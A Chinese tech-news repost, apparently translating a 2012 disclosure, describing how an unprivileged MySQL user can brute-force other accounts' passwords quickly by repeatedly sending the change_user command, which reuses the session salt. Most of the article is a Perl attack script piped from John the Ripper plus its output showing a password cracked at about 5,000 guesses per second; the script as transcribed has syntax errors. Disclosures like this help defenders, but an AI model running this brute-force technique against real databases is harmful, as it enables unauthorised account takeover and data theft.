数据库技术   

快速的 MySQL 本地和远程密码破解

时间:2012-12-05 12:02:00

快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。

我找到一个方法可非常高效的破解 MySQL 的用户密码,包括本地用户和通过网络方式访问的用户密码。在我的测试中,通过网络方式的方法可每秒钟测试 5000 个密码。

方法如下:

攻击者使用一个无特权帐号登录到 MySQL 服务器,mysql 有一个名为 change_user 的命令,该命令可用于在 mysql 会话中修改用户时的名字建议。因为这个命令执行非常快,因此可以很快速的用来破解 mysql 密码,而不是每次都重新连接到 mysql 服务器。

是什么导致非常慢?

因为使用 change_user 命令不会更改 SALT(这是一个弱点),而常规破解密码的方法每次连接时服务器都发送不同的 SALT。

下面是一个 Perl 脚本使用了 John the Ripper 的方法来生成密码:

测试的用户是 crackme 密码为 pass,只需数秒就可破解。

(大约 20 秒钟可测试 10 万密码)

测试脚本如下:
01 use Net::MySQL;
02  
03 $|=1;
04  
05 my $mysql = Net::MySQL->new(
06  hostname => '192.168.2.3',
07  database => 'test',
08  user     => "user",
09  password => "secret",
10  debug => 0,
11 );
12  
13 $crackuser "crackme";
14  
15 while(<stdin>) {
16 chomp;
17 $currentpass $_;
18  
19 $vv join "\0",
20         $crackuser,
21         "\x14".
22         Net::MySQL::Password->scramble(
23             $currentpass$mysql->{salt}, $mysql->{client_capabilities}
24         ) . "\0";
25 if ($mysql->_execute_command("\x11"$vv) ne undef) {
26     print "[*] Cracked! --> $currentpass\n";
27     exit;
28 }
29 }

下面是我这台机器上的执行结果:

C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo

hn --incremental --stdout=5 | perl mysqlcrack.pl 
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5 
words: 16382  time: 0:00:00:02  w/s: 6262  current: citcH 
words: 24573  time: 0:00:00:04  w/s: 4916  current: rap 
words: 40956  time: 0:00:00:07  w/s: 5498  current: matc3 
words: 49147  time: 0:00:00:09  w/s: 5030  current: 4429 
words: 65530  time: 0:00:00:12  w/s: 5354  current: ch141 
words: 73721  time: 0:00:00:14  w/s: 5021  current: v3n 
words: 90104  time: 0:00:00:17  w/s: 5277  current: pun2 
[*] Cracked! --> pass 
words: 98295  time: 0:00:00:18  w/s: 5434  current: 43gs 

Session aborted

祝你好运:)

via grok

 
 

 

来源:PHPchina

上一篇:PHP5.5 将会带来哪些新特征 2012-12-05

下一篇:RunJS 大幅改版,增加众多新功能 2012-12-05

Notice: Constant RUNTIME already defined in /srv/html/srccn/news/config.php on line 15 Notice: Constant ROOTDIR already defined in /srv/html/srccn/news/config.php on line 16 Notice: Constant SITEDIR already defined in /srv/html/srccn/news/config.php on line 17 Notice: Constant DATAURL already defined in /srv/html/srccn/news/config.php on line 20 Notice: Constant VERSION already defined in /srv/html/srccn/news/system/kernel.php on line 17 Notice: Constant COREDIR already defined in /srv/html/srccn/news/system/kernel.php on line 18 Fatal error: require(): Cannot redeclare class mysql in /srv/html/srccn/news/system/kernel.php on line 22